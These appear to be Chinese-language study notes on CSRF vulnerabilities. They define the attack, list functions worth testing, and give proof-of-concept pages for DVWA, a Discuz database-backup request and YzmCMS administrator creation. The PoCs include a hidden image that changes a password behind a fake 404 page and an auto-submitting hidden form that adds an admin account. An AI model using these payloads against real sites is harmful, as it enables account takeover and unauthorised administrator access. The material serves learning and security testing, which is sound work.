一.CSRF
跨站请求伪造(Cross-Site Request Forgery,CSRF)是指利用
受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点
击恶意链接或者访问包含攻击代码的页面,在受害人不知情的
情况下以受害者的身份向(身份认证信息所对应的)服务器发
送请求,从而完成非法操作(如转账、改密等)
1.可能出现的地方
所有的业务点都需要进行测试
1. 转账
2. 修改密码
3. 个人资料
4. 登陆
5. 加购物车、收藏商品
6. 开通业务
…
2.CSRF漏洞挖掘
csrf感觉好高级的漏洞,有点似懂非懂,还得沉淀,只能照抄老师的方法,等挖到才能自己整理好思路。
二.几个案例
(1).dvwa,级别low
抓一个包,
get方式,只要把url给管理员打开就能修改他的密码。构造get网页
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<img src="http://test.com/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change" border="0" style="display: none;">
<h1>404</h1>
<h2>page not found</h2>
</body>
</html>
打开这个页面,密码就会修改
(1). discuz cms 数据库备份csrf
通过双重认证
抓备份数据库的包
第一个数据包为假的,过掉
http 参数污染
在这构造
csrf请求
http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=backup_180504_9dJ7cL
http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss&backupfilename=ldx
--还要将最后面的&与=URL编码一下
http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss%26backupfilename%3Dldx
然后用普通用户去发帖,把payload放帖子里,让管理员访问触发漏洞
管理员游览后
(3)yzcms 添加管理员csrf
在添加管理员处抓个包
是post请求可以尝试转换get请求
写个post的页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form name="poc" action="http://test.com/yzmcms/index.php/admin/admin_manage/add.html" method="POST" type="hidden">
<input type="hidden" name="adminname" value="ldx" />
<input type="hidden" name="password" value="ldxldx" />
<input type="hidden" name="password2" value="ldxldx" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="realname" value="" />
<input type="hidden" name="roleid" value="1" />
<input type="hidden" name="dosubmit" value="1" />
<input type="submit" value="Submit request" style="display: none;" />
</form>
</body>
<script>poc.submit();</script>
</html>
成功添加用户